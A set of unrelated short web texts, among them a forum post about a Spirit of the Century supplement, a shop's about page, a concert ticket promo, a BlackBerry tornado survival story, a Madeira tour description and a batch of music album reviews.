I thought that I'd end up passing these little beauties by, because they didn't look like much in pictures. But when I saw the new Dior 3 Couleurs Smoky Palettes, I soon changed my mind. Each palette consists of a base color, a 'smoky' color, and a high shine 'couture'


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2008-09-17 / Briefly Noted
Town of Carmel Litter Cleanup Day Slated
Practicing citizenship is the key to reducing litter. Residents of the Town of Carmel are encouraged to participate in Litter Cleanup Day on Saturday, October 4 (rain date will be the day of their choice). The Town Highway Department has free orange bags. Call them at their office 5 McAlpin Avenue, Mahopac: 628-7474.
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Hey, is anyone as excited about New Horizons as I am? It's a supplement for Spirit of the Century, and aims "to show some of the real failings of the pulp era when it comes to fairness and justice in order to provide rich and vibrant new possibilities for adventure roleplaying in a bygone era."
Until recently it seemed like a cool project that wasn't really going anywhere, but the author has been writing a bunch of production notes on his blag, and the Evil Hat folks are on board too. This look like it's going to not only be a real, live product but also be the sort of professional, good-looking product we have learned to expect from Evil Hat Productions.
Check this summary out:
She is the strongest human being alive, her muscles super-charged by her own scientific processes. She's fought dinosaurs barehanded and lived to tell the tale. But she can't join any professional society for engineers, or even hold the patents for her inventions in her own name.
He is a supernaturally good poet. He can smell truth and lies from across the street. He's saved the life of one president, two prime ministers, and a future pope. But if he goes out for a gourmet meal with friends, managers will insist he go in through the servants' entrance.
Two men share a mystical union, pooling their health, knowledge, and magical essence. They bind demons and champion the falsely accused in courts on three continents. But if they ever once acknowledge the love they share along with their power, they'll be disbarred and shunned by decent people everywhere.
The band of five fought in two wars for liberty, first against invading armies and then against tyrants at home. They free serfs, fight the architects of murder, and have twice stopped mad schemes of genocide. But they're communists, and can't even get visas to visit other heroes and scholars in the US.
Brother and sister are heirs to a millennia-old family tradition of serving justice and knowledge. Their ancestors commanded armies, delved into ancient tombs to lay ghosts—and worse things—to rest, taught the founders of new schools of philosophy and military strategy. But in the New World, he's barely tolerated as a ditch digger—and she'll be deported if she teaches English to other immigrants.
These are the other heroes, the ones who must fight for their dignity and liberty just as fiercely as they take on the challenges all pulp heroes face.
New Horizons is a new supplement for Spirit of the Century. Each chapter addresses a marginalized group from the pulps, kept outside by their sex, their race, their lifestyle, or their beliefs. In New Horizons you'll find information about real-life heroic individuals and teams, the challenges they face and some of the solutions they find to the problems of dealing with 1920s society. You'll also find heroes and villains ready for use, plot hooks, and ties to the mysteries around the Century Club. The life of heroes outside the mainstream may seem as strange as the secret language of Atlantis, but can be as exciting and powerful in play as a zeppelin armada.


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About Us
Consign and Design is a Consignment Furniture Boutique in Colorado Springs on the northwest part of town. Store owner, Karin Doty Wyeno, expanded her home staging business to include the boutique. The store consigns new and gently used furniture, quality accessories, as well as the unique and whimsy! Karin and her staff also upcycle furniture, paint and reclaim items to save them from landfills. At the boutique it's not uncommon to see contemporary pieces paired with an antique or vice versa. They aren't afraid to mix it up and can offer you tips to accomplish a tasteful affordable look. Consign and Design sells original artwork, custom jewelry, soaps and lotions from local artisans.
Karin has owned and operated Pikes Peak Home Staging, LLC since 2007, she and her team have staged or consulted on over 300 homes in the Pikes Peak region. Their home staging experience inspired them to seek current and affordable design ideas that compliment the home owner or customer's personal taste. "Out with the old in with the new" is not their motto. They help customers find a fresh new look they can enjoy using their existing furnishings or by adding a few key pieces at great prices. Shoppers who visit Consign and Design discover its exciting, affordable options in furniture and accessories and receive excellent customer service.
At Consign and Design you will be greeted by helpful staff that specialize in interior design, home staging, in-home remix and much more! C&D staff is proudly comprised of family and friends, you could say it's a "family affair at our store!" Karin's daughters work alongside her in the store, making ceramic pieces, painting or creating unique light fixtures (on display at the store). Two of C&D's staff are retired military and lived abroad, (they speak fluent German and Spanish!). C&D's newest staff member has experience remodeling homes and speaks fluent Mandarin! Stop in and introduce yourself, it's obvious to customers we love what we do!
Consign & Design Inc. also works with several artists. To find out more information about these artists, click on the links below:
Susannah Ceramics:
Eric Fetsch Watercolors
Dream Follower Art Jewelry


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Beginning as the backing band for the Canadian musician Neil Young, the American rock group Crazy Horse has carved a strong musical identity of their own, thereby making an illustrious career in the industry. Nevertheless their association and collaborations with the famous singer have contributed a great deal to the success. Currently comprised of members Billy Tabot, Frank 'Poncho' Sampedro and Ralph Molina, Crazy Horse is once again pairing up with their long time music partner for a live show this August. Crazy Horse tickets are thus growing in demand as music fans flock in large numbers for a chance to enjoy the spectacular blend of rocks.
The origin of Crazy Horse dates back to the early 60s when the members were part of a Los Angeles based band called 'Danny and the Memories'. Led by Danny Whitten as the singer, the group comprised of Billy Talbot, Ralph Molina and a number of other musicians. However after relocating to the neighborhood of Lauren Canyon, the band was left with three prime musicians (Whitten on guitar, Talbot on bass and Molina on drums) who together founded the band 'The Rockets'. Joined by a violinist and two guitarists, the newly formed rock group produced their self titled debut album in the year 1968.
Their hit and catchy rock numbers caught the attention of many in the music world including the very renowned Neil Young who had just embarked upon his solo music journey. After a successful gig together at the Whisky A Go-Go, Neil invited the music players to join him for the composition for some of the songs he had written. These include 'Cinnamon Girl', 'Down by the River' among many others. Accepting the offer, the Rockets decided to launch themselves as a new band with Neil under the name 'Crazy Horse'.
Initiating their respective journeys side by side, the Neil Young Crazy Horse combination went on to produce some classic rock hits in the following years. Some of their well received collaborative efforts include records like 'Rust Never Sleep' (1979), 'Live Rust' (1979), and 'Re-ac-tor' (1981) and 'Life' (1987).
The rock partners continued to produce a bunch of hit records during the decade of the 90s. Albums like 'Ragged Glory', 'Arc-Weld', 'Sleeps with Angels', 'Broken Arrow' and 'Year of the Horse' spawned some of the most famous rock numbers of the time.
Although their partnership with Neil Young has gone smooth and successful during the years, the rockers did not remain under the shadow of the Canadian musician. They simultaneously worked on their independent compositions and produced some great hit albums like 'Crazy Moon', 'At Crooked Lake', 'Left for Dead', 'Loose', 'Crazy Horse', 'Gone Dead Train: The Best of Crazy Horse 1971-1989' and Scratchy: The Complete Reprise Recordings'.
The music band and Neil Young again joined forces in the new millennium to produce the records 'Greendale' and 'Live at the Fillmore Fest 1970' in 2003 and 2006 respectively. Their recently (2012) released creative records are 'Americana' and 'Psychedelic Pill'.
Americana is a folk rock album whose compositions depict a strong element of protest against the darker realities of life. The musicians have played down the heavy subjects of the songs in order to make it understandable and appealing for the young generation of today.
'Psychedelic Pill' on the other hand has been created from the extended jam sessions between Neil Young and Crazy Horse. It is perhaps one of the lengthiest records by the rock stars. Each of its songs makes various references to bittersweet memories and views of the musicians.
Crazy Horse and Neil Young have toured and performed at several corners across the world. They are once again presenting a live performance together at Greenbelt Harvest Picnic. The show is part of the Alchemy Tour which the musicians undertook in 2012 as a means of promoting their last couple of albums. So get your Crazy Horse tickets as it is the year's only scheduled act by the rockers in the Southern Ontario region.


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The kits are designed to enable community workers to promote the benefits of home cooking in a way that best suits their community. Kits include: a grocery voucher, recipes, spot prizes and products from our partners. Community events / programmes have included:
- cooking classes
- cooking demonstrations
- competitions
- shared meals
- pop-up restaurant (run by teenagers)
For more details about JUST COOK activities visit their website.
JUST COOK kits are available for health workers – there will be a limited amount to go around the country so please register your interest with Christine Quested (Christine.Quested2@


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This is a user submitted story from CrackBerry.com member Brett W (username ViperSBT). Note that the events of this story occur in the past - February 2008.
I bought my 8700 August of 2006 and have used and abused it the whole time. I have dropped it more times than I care to admit, but it has always worked and has never given me any problems nor has it ever lost its good looks... :) Last Christmas my wife (then 6 months pregnant) had a 12 month old Motorola Razor that with less use and abuse than my BlackBerry was in very rough shape (the screen was almost unusable). Being the thoughtful husband I am, I got her a new Blackberry 8310. She immediately fell in love with it and has been very happy with it ever since.
With that said, last Tuesday evening (Feb 5th, 2008) we were at our church by ourselves and I was working on some video editing for our church's television broadcast. My wife was monitoring weather on her BlackBerry and mine was sitting on the counter next to me. She was monitoring the weather because we were in the middle of a very bad storm and there were Tornado warnings. Everything we were watching was telling us the tornadoes were likely to be north of us, but that did not turn out to be the case.
When the tornado hit our church my wife and I had huddled together in the center of the building just before the building blew apart -- there was nothing left when it was over. We were buried under a bunch of chairs that protected us as everything else was flying around us. When it finished I asked my wife if she managed to keep her BlackBerry and she had. So she called 911 and let them know where we were and help was on the way. I took my wife's phone and started trying to call other people that we knew near by, but couldn't get any signal. It wasn't but a few minutes after that when we started hearing the sirens and eventually could hear the voices of the rescue workers looking for us. My wife began calling out to them and they could hear us but couldn't see us, so I turned on the screen's backlight and started shining it in their direction, they quickly picked it out (it was around 9pm so it was very dark) and got us uncovered. We rushed to the hospital to check and make sure that the baby was OK as well and everything has turned out fine.
I sat in the hospital thinking about all that had happened and the one thing that I kept thinking about was losing my trusted BlackBerry. I knew it was a goner, ever since buying the 8310 for my wife I had been considering an 8820, but at the same time not seeing a reason to buy one when my 8700 was still such a great phone. The next morning I went out to the church to look around a little bit to see if there was any chance at all of finding my phone. Thinking about the incredible wind and force that swept it up, along with all the rain that it would have had to gone through the rest of the night I just knew that even if I had found it, it would be DOA. I asked a friend that was there with me to try calling my phone, he laughed at me thinking the same thing I had been but he went ahead and did it. Seconds later we heard my phone ringing!!! We started digging through the rubble and found it buried below a bunch of mud and debris just ringing away. The screen showed I had missed a lot of calls and had a lot of voicemail from all the people that were checking on us. The keyboard and click-wheel were not working as I figured so I pulled the battery to shut it down.
I figured I would give it a few hours to dry out and try it again. I got home and let it rest for awhile, then I went out to my workshop and brushed off all the mud and gunk that was covering the phone. I cleaned it as best I could, went back in and put in the battery and it fired right up... I was excited, but still pessimistic knowing it wasn't going to work. The wheel was working, but not clicking and the keyboard was only partially working and was double entering entries... I pulled the battery and thought that if it doesn't work in the morning, it just isn't going to work.
The next morning I got up and went back to my trusted BlackBerry and put the battery in and turned it back on. It started up. It was back to working just like it had before the storm!!! The only difference now versus then is that it has a big scratch on the screen and a crack in the case, but it is still working as good as always.
RIM has built an incredible product, it has served me well and has far exceeded all of my expectations. Anyone that ever asks me about what kind of phone to buy I have always encouraged them to get a BlackBerry device and will even more so urge them now.
Here are some links to show what happened:
- http://www.bpnews.net/printerfriendly.asp?ID=27368
- http://www.youtube.com/watch?v=-5MTOhMrkIc
- http://www.youtube.com/watch?v=PB9iP3dSyfQ
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Savor the danger / Lori Foster.
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Departing the port, your motor coach takes you along the seafront avenue to the Funchal Farmers' Market. Enjoy the sounds and scents of this market with its enormous variety of fruit, vegetables and flowers.
You will walk through the village of Monte to admire a succession of beautiful gardens and landscapes. On the far side of town, board the cable car for a ride over breathtaking views of the valleys that lead inland from the coast.
You're headed to the Botanic Gardens of Madeira, where you will learn why Madeira is known as the Floating Garden -- these gardens are beautifully laid out across terraces that climb from 600 to 900 feet in elevation. Make the most of some free time to explore the path winding between dragon and coral trees, hibiscus bushes and an abundance of flowers both indigenous and exotic, with sensational city views.
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Saturday, May 28, 2016
Talkeetna USCA Campout - Part 2
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About the right size for a meet up, methinks. You still get to talk to everybody ;-)ReplyDeleteReplies
Perfect size ;-)Delete
Perfect fun! I see hats and jackets that don't define Alaskan's at 80-ish degrees....Morning temps?ReplyDeleteReplies
Morning was in the high 40s (°F).Delete
Whatever happened with Jon, the new dealer in Fairbanks?ReplyDeleteReplies
Lost his lease on the shop. Without a physical location, he lost the dealership. Now he is completely out of the moto repair business.Delete
Nice picture of Echo. How did he like his first sidecar adventure?ReplyDelete
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Review: Versatile Friedman proves he deserves a following
'Can't Talk Now'
Greg Friedman (Popluxe)
Every so often I have to just sit and scratch my head as I try to figure out why a particular band or solo performer hasn't been able to develop the type of following and/or acclaim that their music deserves. One such case is indie pop singer/songwriter Greg Friedman. His sophomore full-length "Can't Talk Now," six long years in the making since 2007's "Souls of Passing Feet," is an absolute delight and shows Friedman to be one of the most talented and versatile musicians that you've probably never heard of. There aren't any missteps to be found on this eclectic 12-track release, with Friedman especially awesome on "Melancholy Melody," "Hear the Sound," "Zombies and Cannibals," "Pancake, I Love You," "Wake Up" and "Stories I've Told." Do yourself a favor and seek out a copy of "Can't Talk Now." You won't regret it.
'Dreamy Weather'
Erin Ivey (self-released)
Austin, Texas-based folk songstress Erin Ivey has a loyal core group of fans. So much so, in fact, that a couple hundred of them donated 154 percent of the goal Ivey set out in a Kickstarter campaign to fund production of "Dreamy Weather." Those who gave their money (as well as those who didn't) are almost certain to fall in love with this nine-track collection of stripped-back, intimate tunes recorded during a performance at Austin's famed Cactus Cafe. Ivey is on top of her game here, delivering soul-baring renditions of "Amelia," "Rest Your Head" (featuring pal BettySoo), "Canyon" and "Sorrow No More." The opening cover of Tom Waits' "Alice" sets the tone for a truly remarkable performance.
'Inspiration: A Tribute to Nat King Cole'
George Benson (Concord)
Pittsburgh's George Benson is one of the greatest jazz guitarists ever and he pays tribute to an even more famous figure in "Inspiration: A Tribute to Nat King Cole." This 13-track release finds Benson working with the 42-piece Henry Mancini Institute Orchestra and includes guest spots from the likes of Wynton Marsalis ("Unforgettable"), Idina Menzel ("When I Fall in Love"), Till Bronner ("Smile") and Judith Hill ("Too Young"). The set opens with a 1951 recording of Lil' Georgie Benson, then 8, singing "Mona Lisa," and closes with a second version of the tune recorded more than six decades later. A must for Benson's fans.
'Year of the Dragon'
Brent Amaker & the Rodeo (Fin)
There's little doubt that Brent Amaker spent a lot of time spinning Johnny Cash records in his youth. He has adopted the Man in Black's distinctive baritone and utilizes it to great effect on "Year of the Dragon," the latest album from Amaker & the Rodeo. Though these 13 tracks are brand new, they sound as if they were written and recorded during Cash's Sun Records heyday in the mid-1950s. Among the highlights are "The Tiger Inside," "Captain of the Ship," "I Put My Boots On," "Time to Set Things Straight," "Suitcase" and "What's Wrong With You." The parody/homage wears thin after a while, but "Year of the Dragon" is plenty of fun.
'Video Anthology'
Destiny's Child (Music World/Columbia Legacy)
We've been inundated with Destiny's Child retrospectives over the last eight months, with "Video Anthology" following on the heels of "Playlist: The Very Best of Destiny's Child" and "Love Songs." This DVD contains 16 music videos that accompanied some of the trio's best-known songs. Among the keepers are videos for "No, No, No Part 2" (with Wyclef Jean), "Bills, Bills, Bills," "Say My Name," "Survivor," "Independent Women Part 1," "Bootylicious," "Soldier" and "Cater 2 U." If you're a fan of Destiny's Child, this is probably worth the investment.
'Forever Halloween'
The Maine (Eighty One Twenty Three)
Emo rockers the Maine are back with their fourth studio effort and though the genre seems to be waning in popularity, the Phoenix-based outfit inject enough life into "Forever Halloween" to make it an album worth exploring. Opener "Take What You Can Carry" is a mid-tempo gem and the clear-cut highlight of the 12-track release, though the Maine also deliver on "Love & Drugs," "White Walls," "Birthday in Los Angeles," "Kennedy Curse" and "These Four Words." This one's better than I expected it to be.
'Live at Billy Bob's Texas'
Charlie Robison (Smith Music Group)
Though aware that he was a country singer in his own right, I've most often associated Charlie Robison as the ex-husband of Dixie Chick Emily Robison and the inspiration for that trio's hit single "Cowboy Take Me Away." Robison has a handful of albums on his resumé and latest effort "Live at Billy Bob's Texas" showcases him nicely in a honky-tonk setting. The two-CD set, recorded last August, totals 18 songs and more than 90 minutes of music, as Robison serves up energetic readings of his own stuff ("Good Times," "Feelin Good," "Molly's Blues," "Loving County") and first-rate covers of Bobby Bare Jr. ("Nothin' Better to Do"), Elton John ("Rocket Man") and Lynyrd Skynyrd ("They Call Me the Breeze").
Jon Hopkins (Domino)
My first exposure to British ambient electronic producer Jon Hopkins came a couple years ago when he teamed up with Scottish singer/songwriter King Creosote for "Diamond Mine." "Immunity" finds Hopkins working alone again and, truth be told, his stuff benefits from a bit of collaboration. Fans of electronic music likely will dig this swirling collection of synth-fueled tunes, but these eight tracks aren't as warm and inviting as some of his earlier stuff. "Open Eye Signal" merits multiple listens, as do "Collider" and the title track, but the rest doesn't really register.
'I Love You'
Said the Whale (10 Spot)
Canadian indie rockers Said the Whale have knocked it out of the park on their past two albums ("Little Mountain" and "New Brighton"), and they keep their fans tided over nicely with three-track EP "I Love You." This nine-minute release has the type of infectious melodies we've come to expect from Said the Whale, with the title track charting on Alternative Rock radio and "Barbara-Ann" and "Mother" seemingly destined for radio play as well. Terrific placeholder until the next album comes along.
'The Days Run Away'
Frankie & the Heartstrings (Pop Sex/Wichita)
Fans of bands like Franz Ferdinand, the Futureheads and Kaiser Chiefs should get a charge out of neo-New Wave quintet Frankie & the Heartstrings. "The Days Run Away" is the stellar sophomore slab from the British outfit and there aren't many missteps on the 11-track, 33-minute release. Things get off to a rollicking start with "I Still Follow You" and "That Girl, That Scene," and Frankie Francis and his mates also score with "Nothing Our Way," "She Will Say Goodbye," personal favorite "Everybody Looks Better in the Right Light" and "Light That Breaks."
I Can Lick Any S.O.B. in the House (Sad Crow)
Initially a solo project for singer/songwriter Mike Damron, I Can Lick Any S.O.B. in the House have evolved into a first-rate rock band. Fifth release "Mayberry" is their best yet, with 13 twang-tastic tunes that have earned them comparisons to the likes of Drive-By Truckers and Lucero. The title track launches the proceedings and the keepers continue with "Break All Your Strings," "Galaxies Collide," "From Bad to Worse," "Dead By Christmastime," "When the Sleep Don't Come" and "King James." Good stuff.
'How Far Away'
Alex Bleeker & the Freaks (Woodsist)
Real Estate's Alex Bleeker has a first-rate side project on his hands in Alex Bleeker & the Freaks. "How Far Away" is their second album and features contributions from Mountain Man's Amelia Meath, Woods' Jarvis Tanviere, Big Troubles' Sam Franklin and Real Estate's Jackson Pollis, among others. It's a twangy collection of 11 tunes highlighted by "Don't Look Down," "Leave on the Light," "Time Cloud," "Who Are You Seeing?" and "Step Right Up (Pour Yourself Some Wine)." Real Estate are a good band, but Alex Bleeker & the Freaks are better.
'All the While/Where the Hell We Are'
Old Time Machine (File Under Music/Headless Owl)
Having gained a little traction with last year's self-titled debut, indie folk duo Old Time Machine (Ryan McNalley and Kyle Cashen) launched a brief tour this month — including a Pittsburgh stop Monday at Garfield Artworks — and have a couple digital tracks to tide fans over until the next album. "All the While" is a new tune and it's backed with a new version of "Where the Hell We Are," one of the highlights of last year's debut. Keep an eye on these guys.
'Golden Rules for Golden People'
Pretty & Nice (Rory)
As someone who really enjoyed Boston trio Pretty & Nice's 2008 sophomore LP "Get Young" (my pal Brian Krasman, who reviewed it for The Daily News, wasn't nearly as enamored), I've been wondering when/if there was ever going to be a third album. "Golden Rules for Golden People" arrives at long last and finds Pretty & Nice still serving up catchy hooks — only this time the production is a lot slicker. That figures to turn off some, but I got a kick out of keepers "Stallion & Mare," "Critters," "New Czar," "Gold Fools," "Money Music" and "Golden Rules." Like its predecessor, this 11-track slab is a lot of fun.
The Bunny The Bear (Victory)
The Bunny The Bear deserve credit for originality with their blending of dance rock and screamo, but now three albums into their career I'm still not sure what to make of this band. Latest effort "Stories" has some truly inspired moments ("In Like Flynn," "It's Not Always Cold in Buffalo," "Another Day," "Imagine," "What We're Here For"), but a little bit of The Bunny The Bear goes a long, long way. With 11 tracks clocking in at a reasonable 42 minutes, I still found my attention waning down the homestretch.
'Blood Speaks'
Smoke Fairies (Year Seven)
Though it dropped more than a year ago in their native England, "Blood Speaks" only recently was made available on our shores. The third album for indie folk duo the Smoke Fairies (Katherine Blamire and Jessica Davies), this 15-track release — which includes five more tracks than the British version — is a compelling record from beginning to end. Opener "Let Me Know" sets the scene, and the Fairies also soar on "The Three of Us," the title track, "Take Me Down When You Go" and "Feel It Near." The extra songs are OK, but not at the expense of dragging the running time out past the one-hour mark. Still, it's time you got to know the Smoke Fairies.
Arrica Rose & the ...'s (PopRock)
Two years ago in reviewing "Let Alone Sea," the first album from singer/songwriter Arrica Rose to feature backing band the ...'s, I predicted that it would be the record to raise Rose's profile to the level the music merits. That didn't happen, so now I'm putting my faith in equally awesome EP "Lucky." This six-track release finds Rose on top of her game as she delivers the goods on "Without My Love," "Come on Home to Me," "I Wasn't Done Dancing" and "Paper Days." Shame on you if you still aren't onboard with Arrica Rose & the ...'s.
Jeffrey Sisk is an editor for Trib Total Media. He can be reached at 412-664-9161 ext. 1952, or email@example.com.